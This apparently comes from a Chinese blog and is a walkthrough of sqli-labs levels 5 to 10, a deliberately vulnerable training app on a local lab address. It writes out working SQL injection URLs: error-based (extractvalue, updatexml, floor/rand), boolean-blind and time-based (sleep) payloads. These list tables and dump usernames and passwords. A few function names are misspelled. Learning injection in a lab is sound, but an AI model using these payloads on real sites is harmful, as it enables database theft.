2025年sqli-lab闯关第5关---第10关

sqli-lab闯关第5关---第10关目录 第五关 Less 5 1 判断注入点类型 2 确定显示位置 3 报错注入方法 4 查询库名 5 查询表名 6 查询列名 7 查看用户名和密码 第六关 Less 6 1 判断注入点类型 2 查询库名 3 其他步骤同上一关 第七关 Less 7 1

大家好,我是讯享网,很高兴认识大家。

目录

第五关Less-5:

1、判断注入点类型

2、确定显示位置

3、报错注入方法

4、查询库名

5、查询表名

6、查询列名

7、查看用户名和密码:

 第六关Less-6:

1、判断注入点类型

2、查询库名

3、其他步骤同上一关;

第七关Less-7:

1、判断注入点类型

第八关Less-8:

1、判断注入点类型

2、布尔盲注暴库、暴表

第九关Less-9:

1、判断注入点类型

2、猜库名

3、猜表名、字段名

第十关Less-10

1、判断注入点类型

2、猜库名、表名、字段名


第五关Less-5:

1、判断注入点类型

(1)、单引号测试

http://192.168.162.135/sqlilab/Less-5/?id=1'


讯享网

初步判断:单引号字符型注入

(2)、进行验证:

最终确定:该注入点为单引号字符型注入;

2、确定显示位置

经过尝试发现该页面无显示点,因此不能通过之前的方法进行联合查询,显示我们想要的信息,因此可以选择时间盲注或者报错注入;因为时间盲注比较耗时,而且结果只能一点一点的去猜测,因此我们选用报错注入

3、报错注入方法

(1)、floor()+rand();

 (2)、exp(x);

原理:当x的值大于709时,exp()溢出错误;

(3)、xpath函数

  • extractvalue(a,b)函数;
  • updataxml(a,b,a)函数;

4、查询库名

http://192.168.162.135/sqlilab/Less-5/?id=1' and extractvlalue(1,concat('~',database())) --+ 

库名:security;

5、查询表名

http://192.168.162.135/sqlilab/Less-5/?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+ 

表名:emails,referers,uagents,users

6、查询列名

http://192.168.162.135/sqlilab/Less-5/?id=1' union select count(*),1,concat((select column_name from information_schema.columns where table_name="users" limit 0,1),floor(rand(0)*2)) a from information_schema.columns group by a --+

(1)、user_id

union select count(*),1,concat((select column_name from information_schema.columns where table_name="users" limit 0,1),floor(rand(0)*2)) a from information_schema.columns group by a --+

(2)first_name

 union select count(*),1,concat((select column_name from information_schema.columns where table_name="users" limit 1,1),floor(rand(0)*2)) a from information_schema.columns group by a --+

 ...........

通过limit逐个查看users表中的列名;

7、查看用户名和密码:

(1)、第一个用户:

用户名:Dumb

http://192.168.162.135/sqlilab/Less-5/?id=1' union select count(*),1,concat((select username from users limit 0,1),floor(rand(0)*2)) a from users group by a --+

讯享网

密码:Dumb

讯享网http://192.168.162.135/sqlilab/Less-5/?id=1' union select count(*),1,concat((select password from users limit 0,1),floor(rand(0)*2)) a from users group by a --+

(2)、第二个用户:

用户名:Angelina1

http://192.168.162.135/sqlilab/Less-5/?id=1' union select count(*),1,concat((select username from users limit 1,1),floor(rand(0)*2)) a from users group by a --+

密码:I-kill-you1

讯享网http://192.168.162.135/sqlilab/Less-5/?id=1' union select count(*),1,concat((select password from users limit 1,1),floor(rand(0)*2)) a from users group by a --+

(3)、同上,不断改变limit、username、password来逐个获取用户名和密码


 第六关Less-6:

1、判断注入点类型

(1)、单引号测试被过滤,尝试双引号

初步判定:双引号字符型注入

(2)、验证猜测:

最终确定:该注入点为双引号字符型注入

sql语句为:select * from users where id="$id";

2、查询库名

库名:security

3、其他步骤同上一关;


第七关Less-7:

1、判断注入点类型

(1)、单引号测试

这关不显示报错信息,所以只能尝试找出闭合符,单引号首先排除;

(2)、双引号测试

正常,说明双引号被过滤;

(3)、')测试

说明')不是闭合符;

(4)、'))测试

经过检验:闭合符为:'))

sql语句为:where id=(('$id'));

该注入点为:字符型注入;


第八关Less-8:

1、判断注入点类型

(1)、单引号测试:

 页面发生变化,但不报错;

(2)、双引号测试

正常,页面无变化;

(3)、其他字符尝试

只有单引号出现,页面有所变化,所以就单引号进行尝试

单引号闭合,说明该注入点为单引号字符型注入;

布尔盲注

2、布尔盲注暴库、暴表

该注入点不显示任何信息,只能通过页面的变化来进行猜测,当页面显示"You are in......",说明为true,页面只显示"welcome",说明为false;因此在这关使用布尔盲注进行暴库、暴表

(1)、猜库名的长度

http://192.168.162.135/sqlilab/Less-8/?id=1' and length(database()) =1 --+

说明库名长度不是1;

讯享网http://192.168.162.135/sqlilab/Less-8/?id=1' and length(database()) =2 --+

说明库名长度不是2;

 ..........不断尝试

http://192.168.162.135/sqlilab/Less-8/?id=1' and length(database()) =8 --+

说明库名长度为:8;

(2)、猜库名

语句为:

讯享网http://192.168.162.135/sqlilab/Less-8/?id=1' and ascill(substr(database(),1,1))>97 --+

 ascill():将()里的值转换为ascill码;

substr(a,b,c):表示截取字符串,a表示要截取的字符串,b表示从哪里开始,c表示截取的长度;

该语句的意思为:将数据库的库名的第一个字符截取下来后转换为ascill码,进行比较,缩小其范围,通过页面的变化不断比较确定第一个字符串的值,并用这种方法逐个确定出数据库的名称;

ascill码对照表:https://zhuanlan.zhihu.com/p/

(3)、猜表名

方法同上,取字符串,转码,比较,逐个逐字确定;


第九关Less-9:

1、判断注入点类型

经过大量尝试,页面一直没有变化,所以我们要寻找一个参考,选择使用时间盲注

 

 通过时间盲注,判断该注入点为:单引号字符型注入,时间盲注

2、猜库名

类比布尔盲注,方法类似,例句如下:

and if(x,sleep(a),1)

if()函数中,

  • x为布尔盲注中的长度、字符猜测语句,如:length(database())=1
  • sleep()函数,a为时间间隔,如果前面的语句x为真,则在页面出来前间隔a秒;
  • 1:占位

3、猜表名、字段名

方法同上


第十关Less-10

1、判断注入点类型

与第九关相同,页面一直没有变化,无法参考,因此使用时间盲注进行判断;

 。。。。。。不断尝试,观察页面是否有时间间隔

 因此判断闭合符为:双引号"

sql语句:where id="$id";

该注入点为:双引号字符型注入,时间盲注

2、猜库名、表名、字段名

方法同第九关;


小讯
上一篇 2025-03-02 08:24
下一篇 2025-03-28 17:47

相关推荐

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/66632.html